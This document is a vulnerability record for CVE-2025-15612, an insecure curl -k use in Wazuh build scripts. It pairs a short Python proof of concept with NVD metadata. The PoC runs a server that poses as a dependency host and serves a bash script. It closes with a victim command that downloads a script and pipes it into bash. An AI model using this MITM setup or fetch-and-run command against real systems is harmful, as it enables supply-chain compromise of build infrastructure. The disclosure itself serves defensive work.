CVE-2025-15612

# PoC: Demonstration of MITM vulnerability when using curl -k # Attacker sets up a malicious server to replace legitimate dependencies import http.server import socketserver POC_PAYLOAD = b'#!/bin/bash\necho "RCE via MITM during build"' class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Send malicious payload pretending to be a legitimate dependency self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() self.wfile.write(POC_PAYLOAD) # Usage: Run this script on the attacker's machine and spoof the target URL's DNS PORT = 80 with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"Malicious server running at port {PORT}") httpd.serve_forever() # Victim vulnerable command: curl -k http://target-url/dependency.sh -o dependency.sh && bash dependency.sh

{"cve": {"id": "CVE-2025-15612", "sourceIdentifier": "[email protected]", "published": "2026-03-27T19:16:41.690", "lastModified": "2026-04-08T15:34:47.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wazuh provisioning scripts and Dockerfiles contain an insecure transport vulnerability where curl is invoked with the -k/--insecure flag, disabling SSL/TLS certificate validation. Attackers with network access can perform man-in-the-middle attacks to intercept and modify downloaded dependencies or code during the build process, leading to remote code execution and supply chain compromise."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}, {"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.3", "versionEndExcluding": "4.14.0", "matchCriteriaId": "960B1953-4DB9-4C37-BE77-8248803CDFC5"}]}]}], "references": [{"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-wvg9-7q49-c7mg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/various-uses-of-curl-without-verifying-the-authenticity-of-the-ssl-certificate-leading-to-mitm-rce-in-build-infrastructure", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}